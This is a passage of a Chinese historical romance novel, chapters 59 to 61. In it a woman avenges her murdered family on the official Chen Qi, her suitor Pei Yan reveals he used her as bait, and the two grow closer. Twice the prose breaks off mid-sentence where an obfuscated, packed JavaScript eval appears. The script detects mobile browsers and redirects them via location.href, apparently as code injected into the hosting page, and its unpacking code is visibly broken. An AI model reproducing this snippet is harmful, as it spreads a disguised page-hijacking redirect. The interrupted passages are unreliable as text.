说着,薛嘉玉往侧边绕了一步,随后以迅雷不及掩耳之势来到了护卫的身后,护卫反应敏捷,跟着转过身来,但她却在电光火石之间将发簪深深刺进他的喉咙,护卫在死前奋力将刀往她身上一划,旋即便“啪”的一声摔在了地上,死不瞑目。 薛嘉玉低头瞧了眼自己肚子上面的伤口,伤口虽然比较长,但好在刺得不深,她此刻无暇顾及自己那正冒着汩汩鲜血的伤口,大步走到木屋门口,一脚将门踹开。 陈祺本来好好地躺在床上睡觉,忽然被外面的响声给吵醒了,他从床上蹭起来,拖着鞋子来到门口,碰巧对上了薛嘉玉那双阴鸷至极的双眼,她的脸上沾染了鲜血,就像是个杀手。 “你想做什么?” 她用手帕不紧不慢地擦着发簪上面的鲜血,饶有兴致地勾起唇角,薛嘉玉掀起眼皮,眸中尽是戏谑,“还能做什么?当然是让你一命偿一命了。” 59. 布局 陈祺此时身着里衣,手中并无兵器,况且这一切都发生得实在是太快了,他还尚且没有彻底缓过神来,眼见着薛嘉玉握着簪子一步步当前,他慌乱间拿起旁边架子上的一个花瓶,然后猛地冲着她甩去。 薛嘉玉身手敏捷,在电光火石之间弯下腰,迅速躲开了花瓶的攻击,紧接着她一个箭步冲上前,用手狠狠地掐住了陈祺粗壮的脖子,她目眦欲裂,额头上渐渐有青筋暴起。 她咬牙切齿道:“陈祺,你害死了我那么多的家人,我今天定要让你以数千倍奉还!” 他的性命危在旦夕,处于人体的本能,陈祺下意识地伸手去够木架上面的瓷器,他将那些瓷器扔在薛嘉玉的身上,但陈祺如今四肢发软,甩在薛嘉玉身上的这几下简直可以等同于不痛不痒。 陈祺瞪大双眼,脸上青一阵白一阵,看起来极为痛苦,他使出浑身解数,抬起右臂,用手指指着薛嘉玉的鼻子,“薛嘉玉,朝廷的人可一直都在追我,你就不怕你把我杀了之后,会被朝廷定罪吗?” 他能想到的,薛嘉玉又怎么可能想不到? 她早就做好万全打算了,薛嘉玉冷哼一声,“你放心,等我把你解决之后,我会自行了断的,不会给朝廷将我斩首示众的机会。” 听及此,陈祺倒是突然间笑了一声,“你倒是个刚烈的女子。那行啊,你就给我个痛快,这样你也能早些和你的家人们团聚了。” 一听到“家人们”这个词眼,薛嘉玉的脑海里就蓦地浮现出那一堆堆白骨,上面还有一些崎岖不平伤口,看来陈祺当年不仅将他们的性命夺走,甚至还在他们死后虐待他们的尸骨,她登时气得全身颤抖不停。 薛嘉玉倏地将他放开,陈祺立刻瘫软在地上,他用手抚着心口,大口大口地喘着气。 这时候,她忽然间在他面前蹲了下来,用簪子抵住他的下巴,那片肌肤顿时凹了下去,似是再用力一点,就可以瞬间将这个男人的性命夺走。 “陈祺,当年我爹究竟发现了什么不可告人的秘密?” 陈祺从鼻腔里哼了一声,身上仍带有那种世家大族的傲骨,“我凭何跟你说这些?” 薛嘉玉人狠话不多,直接用簪子的另一头将陈祺的皮肤划开,立刻皮开肉绽,血液逐渐从狭长的伤口中漫出来,溢出一丝凉意。 他佯装淡定地吞了口唾沫,接着老实巴交道:“当初,我为了家产,和我的胞弟斗得你死我活,明明我也在朝廷担任要职,可是我爹娘眼里只有弟弟,根本没有我的位置。于是,为了让爹娘眼里多出一分我的位置,我就不断地针对他,嫁祸他。 爹娘最忌恨巫蛊之类的东西,所以我就将一个粘有我生辰八字的人偶藏在了我弟弟那儿,接着又把我身边的一个亲信给杀死了,将他的死嫁祸给了弟弟。本以为他会按部就班地选择报官,然后让被我买通的大理寺来查,没想到他居然选择去找一个仵作来查验。 本以为这个叫薛贵的仵作只有三脚猫功夫,不曾想他竟然真的凭借伤口的形状和走势,判断出这人并不是他杀的,而我的秘密也被薛贵窥见了。为了不让事情败露,我许了他好多好多的钱财,明明可以保你们全家三生三世富贵无忧,可是你爹就是个蠢货,有钱不拿,非要去追求那么点低微的正义。所以说,害死你们全家的根本就不是我,是薛贵,是他不懂明哲保身,而我明白,所以我活下来了,而他死了。” 薛嘉玉听得出来,陈祺其实从来都没觉得自己做错了,他始终认为自己不择手段地追名逐利是天底下最有道理的事情,也是世间唯一的事情。 “陈祺,你终将被自己所做的恶给吞噬得一滴不剩。我爹从来就没有做错,只是尽到了一个仵作应尽的责任,他凭什么被你杀死?连死后还要遭到你的虐待。” 说着,她将簪子缓缓挪到陈祺的胸膛上,“陈祺,你休要妄想我会给你痛快,我要一点一点地把你折磨致死,我要将我手里的这枚簪子刺进那些只会让人感受到疼痛,但又不会致死的穴位里。只有看见你痛苦了,我才能够安心。” 陈祺的视线不禁下移到她手里的簪子上,他的眼角不禁抽搐了几下,“你可当真想好了?要是被朝廷的人提前找到这里,恐怕你就没法那么容易地轻易了断了,那大理寺就算是天皇老子去了,都得要脱一层皮。再说了,难道你以为你做得这些事情只有我知道吗?” 听见这句话,薛嘉玉的眼底终于掀起一阵波澜,她冷冷地追问:“什么意思?还有谁知道?” “你知道为什么今早尚林书苑的事情才发生,我就知道了幕后黑手是你?那是因为这消息是大理寺的裴少卿送来的,也就是说大理寺早就知道你的这些阴谋诡计了,说不定他们已经在来的路上了。” 裴砚递出去的消息? 他果然已经知道了自己所有的事情了,可是薛嘉玉一时间想不通他为什么要把自己供给陈祺? 罢了,此刻也不是纠结这个问题的时候,况且他们俩还能不能见面都是一个问题。 薛嘉玉没有理会陈祺的话,就算一会儿大理寺当真来了,大不了就再下一次狱,反正一回生二回熟,她现在只想把陈祺给解决了。 她抬起手臂,将发簪掉了个头,把淬了毒的那一面朝着陈祺的心脏,就在发簪与心脏只有咫尺之距的时候,大门忽然间被人猛地推开。 陈祺的眸中顿时有了亮光,以为陈氏的护卫来救他了,连忙支着个脑袋在那儿瞧门口的动静。 而薛嘉玉的瞳孔猛地一震,她的手忽然悬在空中,一动不动,她不愿回头去看闯进来的人是谁,其实与其说是不愿,更多的是不敢,她怕进来的人真的是裴砚,她不想让裴砚看见自己这副失去理智的模样。 这时,只见一位风度翩翩的男子迈着急促的步伐闯了进来,他一身浅蓝色衣裳,与这里浓重的血腥味格格不入。 裴砚大步上前,站在薛嘉玉的身后,弯腰握住她手中冰冷的发簪,悄声道:“阿玉,莫要为了复仇将自己搭进去。” 陈祺瞧清楚进来的人是谁后,脸上立刻扬起一抹谄媚的笑容,“裴少卿,你终于来了!可让我好等啊,你要是再不来,我就被她杀——” 话尚且没有说完,陈祺就被身着一袭玄衣的金羽给“啪”的一下打晕了。 金羽猜到自家郎君要和薛娘子说会儿话,于是连忙把昏迷过去的陈祺拖了出去,顺带把那两个护卫的尸体给处理了。 薛嘉玉顿时觉得浑身上下所有的力气都被抽走了,手心里攥着的发簪忽地掉在了木板上,发出了清脆响亮的声音,她两手抱住自己,不敢回头与裴砚对视。 裴砚绕到她的面前,将自己身上的大氅披在她的身上,“抬起头来看看我,行吗?” 她扬起脑袋,一下子就扑进了裴砚的怀里,两手紧紧地抓住他的脊背,薛嘉玉忍不住潸然泪下,这是她第一次当着裴砚的面流泪,她哭得一抽一抽的,说话断断续续,“文溪,就差一点,刚刚就差一点。” 他蓦地感觉到自己的手上沾上了温热的液体,裴砚心中登时有了不好的预感,他将手伸出来,瞧见自己整个手掌心都被鲜血染得通红。 难怪方才他看薛嘉玉的脸色那么苍白。 裴砚急忙将她小心翼翼地从地上抱起来,“别怕,长嫂也来了,我让她把你送回府里医治。不要去想别的,没有人会怪罪你。” 薛嘉玉抬起手,轻轻地抚摸了一下裴砚的脸颊,她已经渐渐没有了力气,脑袋混沌,不过脑地问他,“文溪,如果我死了,你一定要帮我好好安顿好我家人的骸骨。” “别这么说,你福大命大,哪有这么容易死?”裴砚脸上还算风轻云淡,但眼尾却还是忍不住染红了,“一会儿跟着长嫂回去,路上小心,怕有陈氏的护卫埋伏,等我处理好这边的事情后,就回来看你。” 她躺在裴砚怀里,无力地点了点头。 裴砚双手托着她的腿,将她伏上马背,蒋宁显回头瞧了眼她肚子上的伤痕,忍不住叹了口气,旋即把目光挪到裴砚身上,“你行事也要小心一些,她有我和从瑜关照,你不必担心。” 说罢,蒋宁显也怕被人发现,连忙策马离去,她让薛嘉玉抱着她,靠在她的背上,见后面的人不出声,蒋宁显心里面便越是着急,她腾出一只手,拍了拍薛嘉玉的腿。 “阿玉,别睡,跟我聊聊天吧。” 薛嘉玉整个人都无力地贴在了她的背上,她气若游丝道:“长嫂,文溪他是何时发现的?” “我也不知道文溪是什么知道的,但我也是今日才知道这些事情的,不过从瑜好像比我要更早知道一些内情。” 今日下午,蒋宁显从裴砚口中得知了她的身世,她实在是看不出来这样一位勇敢有主见的女娘居然有着如此悲惨的身世,也难怪之前裴砚总是跟她抱怨薛嘉玉在裴府过得小心翼翼这件事儿了,毕竟自小就漂泊在外,之后又被迫一个人撑起家里的一片天,蒋宁显都不敢想象她幼时受过多少苦。 也难怪她会在府里过得战战兢兢。 毕竟这也算是寄人篱下,没有安全感和归属感亦是情理之中的事情。 蒋宁显刚想安慰安慰她,却见眼前出现了几位身着夜行衣的护卫,想必是陈祺提前在这里准备好的,为的就是怕薛嘉玉使诈逃跑。 她一把勒住缰绳,让马停了下来,蒋宁显临危不惧,将视线落在为首的一位护卫身上,她的语气不容拒绝,“让开。” 可护卫们仍旧堵在马儿前面,领头的冲着蒋宁显行了一抱拳礼,“蒋夫人,只要你把身后的那位娘子交给我们,我们兄弟几个就不会为难你。” 蒋宁显的嘴角勾起一抹讥讽的笑容,“既然你知道我是蒋家的人,也当知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256212|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们蒋家行军打仗就是讲究不心慈手软这个词儿,若是你们今日非要拦我,那就勿怪我下手太狠了。” 那领头的瞅见蒋宁显还挺着一个大肚子,想着就算她是将门虎女,可如今她怀了孕,行动不便,想必也不用与她僵持太久,于是便招呼着身后几个兄弟准备开始行动。 她灵活地翻身下马,先是取下头上的金色发钗,后又取出袖中裴珩给她备好的匕首,蒋宁显一边大步上前,一边将发钗对着面前几位护卫狠狠地扔去,但由于此时夜黑风高,加之对面的人都穿的是夜行衣,因此蒋宁显看不太清楚。 所以,还是有两个发钗没有扔准。 那几个护卫纷纷持刀上前,急速冲着蒋宁显袭来,她如今肚子大了不少,行动确实缓慢了不少,但也不至于在这几个护卫面前占据下风。 蒋宁显一个弯腰躲过了护卫的大刀,她看准时机,果断地将匕首插进护卫的后腰,接着笨拙地抬起右腿,冲着护卫的大腿一踢,护卫立刻倒在地上,吃了个狗啃屎。 解决完这一个护卫后,她尚且还不能够掉以轻心,旋即又转过身来,将匕首一把抹过护卫的脖子,蒋宁显将倒在地上的那个护卫踢了一下,立马滚到了那几个尚且活着的护卫脚边。 “陈祺已然被大理寺抓获,再无东山再起的可能,如若你们执意挡着我,那我亦不会心慈手软。可想好了?” 那几个护卫低头瞧了眼跟着自己出生入死的兄弟,在他们眼里,主人的命令固然重要,但自己的命更为重要,于是他们立刻转身逃走,不一会儿就没影了。 蒋宁显翻身上马,右手搭在自己的肚子上,方才和那几个侍卫交手,一不小心动了胎气,但她现在也顾不上身体上的疼痛,只能立刻扬鞭策马,离开这个是非之地。 为了不被太多人瞧见,她只得选择一条僻静的小径,所以多花了一些时间回到裴府。 此刻已至子时,裴府仍旧灯火通明,只见裴珩和几位小厮守在裴府门口,裴珩将双手背在身后,脸上并无表情,唯有当他瞧见蒋宁显骑着马安全回来的时候,他的唇角才微微扬起。 蒋宁显从马上翻下去,落地后又马不停蹄地招呼着小厮帮忙将昏睡着的薛嘉玉扶下来,接着她一把将薛嘉玉抱起来,步履匆匆地朝着厢房走去,路上她着急地吩咐裴珩,“从瑜,快去让太医过来!” 裴珩立刻派人去把一直在府中候着的齐太医叫过来,他想着蒋宁显现如今身子重了不少,抱着薛嘉玉恐怕也不方便,便好心提议:“宁显,不妨让侍女把薛娘子抱过去吧?” 可是她想也没想便直接驳斥:“不行!阿玉如今情况危急,我不想假手于人。” 裴珩拿她没有办法,于是他大步走在前面,替她把厢房的门打开,顺便把被子掀开,从而方便蒋宁显的行动。 她小心翼翼地把怀里的薛嘉玉放在床榻上,蒋宁显坐在床沿上,用手帕给她擦了擦额头上不断冒出的冷汗。 薛嘉玉意识有些模糊,她迷迷糊糊间抓住了蒋宁显的手,气若游丝道:“长嫂,不用劳烦太医了,给我上点金创药就好了。” 蒋宁显一听,眉头陡然皱起,“这怎么能行?你就不用操心这些了,太医早早就在府中候着了,你这身子要是没养好,我可怎么见文溪?” 说罢,她又转头吩咐侍女们去小厨房熬一碗参汤来。 齐太医在小厮的带领下,匆匆忙忙地提着个大箱子跑了进来,他从箱子里面拿出一张白布,垫在薛嘉玉的手腕下面,接着将手指轻轻搭在她的手腕上,闭上眼睛,左手捋了捋长长的白胡须。 齐太医是整个太医署最有资历的太医,一向都是为圣上把脉的,所以他仅仅把了一下脉,看了眼伤口,便已知道该如何诊治了,他收回右手,瞧了眼旁边忧心如焚的蒋宁显,他宽慰道: “夫人,裴侍郎,不必忧心。这位小娘子性命无虞,只是失血较多,元气大伤,需要每日用食膳好好补养。” 说着,齐太医从箱子里面又翻出两个大小不一的药瓶,将药瓶小心递给蒋宁显,“夫人,这个小药瓶里面装的是止血生痂的药,每日分两次涂抹,半月即可恢复,这个大药瓶里面的药是用于伤疤恢复的,每日仅需涂抹一次,切记等伤口结痂了之后才可以涂。” 蒋宁显接过这两个药瓶,默默记下了齐太医方才的叮嘱,她微微颔首,“多谢齐太医。从瑜,送送齐太医吧。” 待裴珩带着齐太医离开这里后,蒋宁显便轻柔地替她换下身上的衣衫,将药轻轻抹在她的伤口上,许是药粉刺激到了伤口,薛嘉玉忍不住“嘶”了一声。 “阿玉,忍一忍啊,文溪很快就回来了。” 文溪…… 薛嘉玉在心里唤着他的名字。 文溪,这一切都是你布的局吗? 否则为何一切都那么巧? 60. 你会怪我吗 裴珩送完齐太医后就速速回到了厢房,蒋宁显此刻正喂着薛嘉玉喝参汤,他站在床边,张了张嘴巴,似乎是想说什么,良久后才听见他面无表情地说: “你的事情,文溪已经告诉我们了。你放心,我们裴家也不是那种非得要靠女子的家世来装点门楣的家族。之前的事情,还望你不要计较。” 薛嘉玉偏了下头,将目光落在了裴珩身上,如今的她说一句话好似要耗费全身上下所有力气才行,“那兄长可否告诉我这一切是不是文溪安排的?否则怎么会这么巧?” “其实一开始文溪并没有告诉我所有事情,他只拜托我去查一下覃宏,也就是前任大理寺卿。我查到覃宏当年离开大理寺的原因后问了一下他,他只说想要查一查十三年前薛家被灭门一案,我觉得此时并不简单,便派人跟踪文溪,这才知道了这些事情。” 裴珩沉思了片刻,“关于这些事情,我也只是知道一些皮毛而已,你若想要知道更多的,就等他处理完陈祺回来后,再亲口问他吧。” 薛嘉玉点点头,没有勉强他,她往下面挪了挪,平躺在温暖的床榻上,“长嫂,你先回去休息吧,我没事的。” 蒋宁显瞥了一眼她肚子上的伤痕,仍觉得触目惊心,她安抚似地拍了拍薛嘉玉的手背,“好,那我和从瑜就不打扰你了,好好休息,要是有哪儿不舒服,就叫下人们来喊我。” 她的脸上扬起一抹毫无血色的笑容,“知道了,长嫂。” 蒋宁显依旧有些担心,但也怕留在这里会打扰她休息,只好先跟裴珩一块儿回去了。 薛嘉玉躺在床上,顾及到肚子上的伤口,她也不敢随意翻身,生怕一不小心就挤压到了伤口,她在想裴砚是什么时候发现的?是在金陵的时候吗?那他的局又是什么时候做的? 难怪之前他一直都在劝自己要对他坦诚一些,原来裴砚早就知道了这一切,只是一直都在等她自己说出来。 她刚闭上双眼休息了一会儿,就忽然听见门口传来一声“吱呀”的声音,屋内安静,门开的声音清晰可闻。 薛嘉玉知道是谁回来了,她睁开眼睛,两手撑着床榻,极为困难地从床上坐起来,她后背靠着床头,肚子上的伤口因为方才的动作遭到了挤压,再度传来阵阵疼痛。 裴砚反手将门关上,轻手轻脚地走到床榻前,却见她还没有睡着,“是我把你吵醒了?” 她如今不想和裴砚弯弯绕绕,只想知道所有真相,“文溪,这一切究竟是怎么一回事?” 裴砚坐在床榻上,给她掖好被子,看向薛嘉玉地时候,他的眸中不禁生出一丝愧疚。 他紧紧地握住薛嘉玉冰冷的手心,“抱歉,阿玉,我确实利用了你的报复心理设下了一盘棋局。” “其实我知道那日你来大理寺根本不是为了来看我,而是为了查薛家案,于是我便渐渐起了疑心,本以为你不会冲动到一人涉险。直到那日,越褚前来见我,跟我说了你和王榷见面的事情,于是我大约知道了你想怎么做。 陈氏为祸一方,是朝廷的蛀虫,圣上早就想铲除他,但陈氏根基太深,须一次连根拔起,否则便会给了陈氏东山再起的机会。为了辅佐圣上除去心腹大患,我与圣上做局,让你做棋子,引蛇出洞。” 裴砚抬起右手,用指腹擦了擦她额头上的薄汗,“自安排了这样一盘棋局后,我时常都在后悔,后悔让你一个人涉险,我很怕万一哪一步算错了,就把你的性命赔进去了。但当我看见你那日负伤回来,我也想不明白你为何迟迟不肯告诉我真相?你在顾忌什么?” 薛嘉玉往左边侧了侧身,将脑袋埋在他的肩膀上,她的眼眶里噙着眼泪,嗓音中夹杂着哭腔,“我怕告诉你之后,你会劝我不要去招惹陈祺。” “我怎么可能会这么做?他杀死了你的家人,你想要向他报仇是情有可原的。” 说着,他用手指拭去薛嘉玉眼角的泪水,可她却哭得更狠了,一滴滴眼泪像是溪流一般,不停地顺着苍白的脸颊滑落。 薛嘉玉的双唇微不可察地颤抖着,她暂且忽略掉了□□上的疼痛,转而横跨着坐在裴砚的大腿上,两只手搂住他的脖子,裴砚不禁往后面缩了一下,生怕碰到她的伤口。 裴砚两手搭在她的脊背上,右手轻轻地拍着,像是在哄小孩子睡觉一般,他的嗓音甚是温柔,“那你会怪我吗?” 她不是那种不明是非、不识大体的人,因为真要说起来,如果没有裴砚做得这些的话,恐怕她想要把陈祺引出来还需一些时日。 只见薛嘉玉摇了摇头,“不怪你。” “多谢。”他偏了下头,在薛嘉玉的脖子上留下了一个短暂而又深刻的吻,“陈祺要先送到大理寺审问,然后呈报朝廷,进行三司会审,圣上也会亲自参与。你也可以随我一同前去,毕竟你是薛家唯一活下来的人,理应让你自己来为薛家案打上句号。” “那我可以跟你一起去大理寺审问陈祺吗?” 裴砚不是不肯带她去,只是……她毕竟身上的伤还没有好,而审问的事情迫在眉睫。 “我明日便要去大理寺审问,可你的伤还没有好,就勿要跟我一同去那牢狱了。” 听及此,薛嘉玉猛地摇了摇头,她的态度很是坚决,语气不容反驳,“不行,我得去。况且如今只有人证,没有物证,这当如何是好?” “物证你不必担心,我前几日便已经让崔景天和陈晟一同去找了,想必应该也有结果了。你要真想跟我一起去审陈祺的话,那就来吧。” 裴砚想着她这样直直地坐着,伤口那儿应当会不太舒服,于是动作轻柔地将她放在了床榻上,让她好好躺着睡觉,手指捏起被子,给她盖得严严实实的,薛嘉玉顿时间像个木乃伊似的。 “好好睡觉,我在门外守着你,有什么不舒服,就叫我一声,明白了吗?” 薛嘉玉乖乖地点了点头,“知道了。” 他从床榻上站起来,对着一旁快要燃尽的烛火吹了一口气,微弱地烛光登时熄灭,屋内瞬间陷入黑暗,薛嘉玉目视着他离开这里,她的视线落在了门上面的那一坨黑影。 那个二十出头的少年就那样直挺挺地守在门口,背靠大门,不眠不休地守了她一整夜。 薛嘉玉一大早起来,就瞅见裴砚端着一根板凳,坐在自己床前,他的身边放着各式各样的早膳,有荤有素,极为丰盛,香气四溢。 实话说,她想自己应当是被美食香醒的。 裴砚留意到床上的小娘子已经缓缓从梦中苏醒,他赶忙用多余的长条枕头塞在薛嘉玉的身后,两手扶着她慢慢蹭起来,贴心地把滑落的衾被重新给她盖好。 “醒了就吃点早膳吧。” 薛嘉玉瞧见他眼下一片乌青,虽然捯饬得很精神,但也看得出来他浑身上下都散发着疲惫,她将两只手钻进温暖的被窝里,将被子捂得严严实实,只露了一个脑袋出来。 她偏过头去,问:“你没去休息一下吗?” 裴砚叫侍女去打一盆清水来,旋即强行打起精神,回应她的问题,“方才睡了一会儿,不必担心我。你的伤口还疼不疼?” “我没什么事,你不用这么大惊小怪的,也不必寸步不离地守着我。” 他瞧着薛嘉玉的脸色比昨夜好了不少,悬着的心倒也能安稳落地了,裴砚用侍女端来的清水将毛巾打湿,轻柔地给她擦着脸蛋和双手,旋即又伺候着给她漱口。 这倒是弄得薛嘉玉有些别扭了。 裴砚用手帕给她擦了擦沾着水滴的嘴周,随后端起一旁小桌上放着的参汤,他拿起勺子,舀了一口送进自个儿嘴里,见参汤已经没那么烫了,才一勺一勺地喂给她喝。 只听裴砚不着调地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263721|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这不还望你能看在我对你这么好的份上,能心甘情愿地答应嫁给我嘛。” 薛嘉玉抬起左手,用手指掐了一下他的手背,“你怎么一天到晚都在催着成婚的事情?这种事情怎可儿戏?我得要深思熟虑一番,万一我嫁给你之后,没过多久你就对我厌弃了呢?万一我嫁给你之后,那其他的家族把我当成饭后谈资呢?我可得要做好了万全地心理准备,才能松口。” 她现在不愿意嫁,裴砚也自然不会勉强她。 裴砚顺着她的话往下说:“好,你慢慢想,我不会逼你。” 薛嘉玉早上基本不会喝汤——不对——应该说她不论什么时候,都不太喜欢喝汤,一是因为补汤喝多了比较腻,二是因为煲汤比较复杂,她做不来。 她将头往另外一个方向偏了一下,薛嘉玉满脸都写着抗拒,她眉毛皱起,“不想喝了,好腻。” 裴砚低头瞧了一眼还剩有半碗的参汤,可是齐太医吩咐了要多喝点补汤,他这次倒并没有放纵薛嘉玉,“不行,太医嘱咐了的,必须喝完这一碗。” 见他不肯放过自己,况且他也是一番好心,薛嘉玉只得将裴砚手里端着的碗抢过来,一鼓作气,把里头剩下的参汤全都吞了进去。 裴砚无奈地用手帕擦了下她的嘴角,他把碗放在一旁的小桌上,“别喝那么急,以后每天早上都得喝。” 薛嘉玉顿时心如死灰,她原本以为只需要喝这么一次的,终究还是她低估了裴府的财力,居然能每天都弄到人参。 她忽然坐直身子,双腿盘起,将目光落在了桌子上的那几盘早膳上面,随即又把视线移到裴砚身上,薛嘉玉心中忽然有了一种不好的预感。 “你不会还要让我吃早膳吧?” “那是自然。” 瞧裴砚这话说得多么的理所应当,他把那盘翡翠芙蓉花生粥端起来,这粥还冒着腾腾热气,裴砚用勺子搅了搅粥,“那是自然,这粥里面的花生啊啥的可都是今早叫人去集市上买的最新鲜的,特别滋补养生,快吃了吧,莫要等它凉了。” 薛嘉玉瞧着那一碗翡翠芙蓉花生粥,她顿时又想起了方才那一碗腻腻的参汤,忽然有了一种想反胃的感觉。 “呕——” 她一手撑着床榻,一手拍着自己的胸口,朝着床边干呕了一声。 裴砚见她这般不舒服,连忙放下手里的粥,他一屁股坐在了床沿,左手伸到后面,一把揽过她的肩头,右手则放在她的胸口,替薛嘉玉顺了顺。 “还好吗?” 薛嘉玉叹了一口气,“文溪,你能不能别把我当成猪来喂啊?” 他这不也是想着多吃一点就能多补一点,而且裴砚瞧着薛嘉玉全身上下统共都没有几两肉,这可不得多吃一点嘛。 裴砚这也算是好心办了坏事。 他把薛嘉玉揽进自己怀里,“好,那明日我吩咐小厨房少熬一点补汤,你要是有什么想吃的,就尽管吩咐厨子做。” 说着,裴砚用手摸了摸她那条都能直接摸到骨头的手臂,“你呀还是多吃一点,看看你这手臂,都没几两肉,还没经常来府里偷吃的那条野狗肥呢。” 薛嘉玉态度极其敷衍地点了点头,随后转移话题,“对了,不是说好今天去大理寺审问陈祺的吗?” “没错,我去让侍女进来伺候你吧。” 裴砚刚从床榻上起身,往前面迈了一步,薛嘉玉就倏地想起自己已经把这儿的换洗衣物都带走了。 她蓦地用手揪住裴砚宽大的袖子,“等等!” 他应声回头,低头瞅了眼自己被抓得有些变型的袖子,裴砚好整以暇地盯着她,“怎么?想让我给你梳头穿衣?” 薛嘉玉霎时以为自己的耳朵听岔了,她不可思议地“啊”了一声。 要是让裴砚来给她梳头,定然是不能出门见人的。 61. 亲吻 薛嘉玉下意识捂住自己可怜兮兮的头发,“不可!你若是让你给我梳头,定会梳得惨不忍睹。” 可裴砚心意已决,他将薛嘉玉从床上拉起来,两手搭在她的后背上,推着她来到梳妆台前,接着强行将她摁在凳子上坐下。 “你放心,不至于那么丑的。” 他拿起梳子,一手捧着她的一撮秀发,一手为她轻轻地梳着发丝,裴砚梳不来那种特别复杂的头发,只给她梳了一个简单的单螺,他从妆奁里面拿出一根金色的并蒂海棠花步摇,将其插进了发髻里。 薛嘉玉透过面前的铜镜,看向他为自己梳得单螺,虽然简单,但好在并不丑陋,确实也不至于见不得人。 她抬起手臂,曲肱并用手指摸了摸那并蒂海棠花,这是裴珩送她的见面礼,可这枚发钗不是被她拿去当了吗? 难道…… 裴砚好似看破了她的内心想法,提前一步解释:“我知道你把这枚簪子拿去当掉了,但这毕竟是兄长给你的见面礼,所以我背着你赎回来了。” 薛嘉玉心中一时五味杂陈,她不理解裴砚为何对自己这般好?想不通他为什么不责备自己把裴珩送的这支步摇卖了? 他绕到薛嘉玉身边,拿起螺子黛,让她转过身来,面朝着自己,裴砚弯下腰,十分认真地用螺子黛为她描眉。 他刚为薛嘉玉描完一只眉毛,就听见她蓦地发问:“文溪,你可知只有丈夫才会为妻子描眉?” 裴砚虽然没有成过婚,但这些礼数他也是知道的,他轻轻地“嗯”了一声,“我知道。” “那你还给我描眉?就不怕被别人误会我们俩的关系吗?” 他的指腹在薛嘉玉眉角的那颗小痣上轻轻摩挲了几下,随后便听他含笑道:“我们的关系是由你来界定的,别人若是因此误会了,我自会去澄清,不会让你受到牵连。” 薛嘉玉忽然向前倾身,亲了一下裴砚的下唇,就如小鸡啄米一般,可她亲完一次之后,不知是觉得不过瘾,还是有些贪恋他双唇的温度,又接着亲了好几次,但每一次的亲吻都很短暂,却也足够乱了裴砚的心神。 裴砚被面前这位小娘子亲懵了,他站在原地,怔愣了一瞬,旋即用另一只手摸了摸被非礼了好几次的下唇,他张了张嘴,想要说点什么,但脑子却是一片空白。 她瞧着面前小郎君一脸懵的模样,觉得甚是可爱,又抵挡不住美色的诱惑,亲了一下他白皙的脸颊。 他的脸颊肤如凝脂,触感极好。 薛嘉玉不断在心里面回味方才的那个吻,有些后悔没有多吻一会儿,但想到自己已经占了他好几次便宜了,也不好意思再亲了。 裴砚无奈地笑了下,用手轻轻捏了捏她的脸蛋,“大白天的怎么就这么不正经?” “我哪有不正经?”她的反驳极其苍白。 他极力压制住内心那股莫名的冲动,裴砚抽出一张口红纸,放在她的唇间,“这下抹了口脂,可就不准再对我耍流氓了。” 薛嘉玉抿了抿口红纸,浅粉色的嘴唇一下变得如樱桃那般红,衬得脸蛋皮肤白皙,她用手指拨了拨耳后的头发,“那我们什么时候去大理寺牢狱啊?” 可是裴砚像是没有听见一样,他的视线定在了她那双一张一合的双唇上,抹上了口脂的嘴唇顿显滋润,让人忍不住想要摸一摸,紧接着他的目光不受控地向下挪动,他不禁想要去探索那片被衣衫遮住的若隐若现的肌肤。 裴砚自诩是位君子,可如今他倒觉得自己是个道貌岸然的伪君子,还未成婚就想到那种事情,简直禽兽不如。 薛嘉玉见他光盯着自己,又不说话,便唤了几声他的名字。 他这才渐渐找回了理智,裴砚顿觉口干舌燥,脑子里面不停地浮现出一些不太健康的画面,他丢掉手里的口红纸,“你先换衣裳吧,我有点事儿,出去一下。” 她尚未来得及出声,就瞅见裴砚像是碰到了鬼一样,急急忙忙地就跑出去了,也不知道究竟是干什么去了。 薛嘉玉只觉得他方才的一系列反应都甚是奇怪,不过她也没有深思,权当他是昨夜为了自己没有休息好,才变得一惊一乍的。 她打开衣柜,只见衣柜里面又被填得满满当当,薛嘉玉从中挑了几件衣裳,然后绕到屏风后面,手脚麻利地给自己换好了。 方才挑得太快,都没有留意到这件襦裙是齐胸襦裙,不是立领的,这在大冬天里面穿着还是会感到一丝凉意。 不过至少有披风可以披在肩膀上遮住。 薛嘉玉刚从屏风后面出来,就碰上了从外面回来的裴砚,她发现裴砚的下巴上挂着几滴水珠,心里面更是疑惑不解了。 她大步走上前,用手摸了一把裴砚细腻的脸蛋,“你去洗脸了?” 裴砚的眼神有些飘忽不定,“这不昨晚没休息好嘛,就用冷水浇了下自己的脸,好让自己清醒一些。” 话音刚落,他的视线便落在了薛嘉玉胸口那一大片肌肤上,旋即又挪到她臂弯上挎着的披风上,裴砚抢过她手里的披风,强行给她披在身上,语气中不乏责备,“穿这么薄还不把披风披上,不怕受寒?” “屋内有暖气,不冷。” 裴砚根本不听她的话,自顾自地将披风带子系好,将薛嘉玉胸前那一片肌肤遮挡得严严实实,双面都是绒毛的披风将寒冷隔绝在外,只留下了逃不掉的暖意。 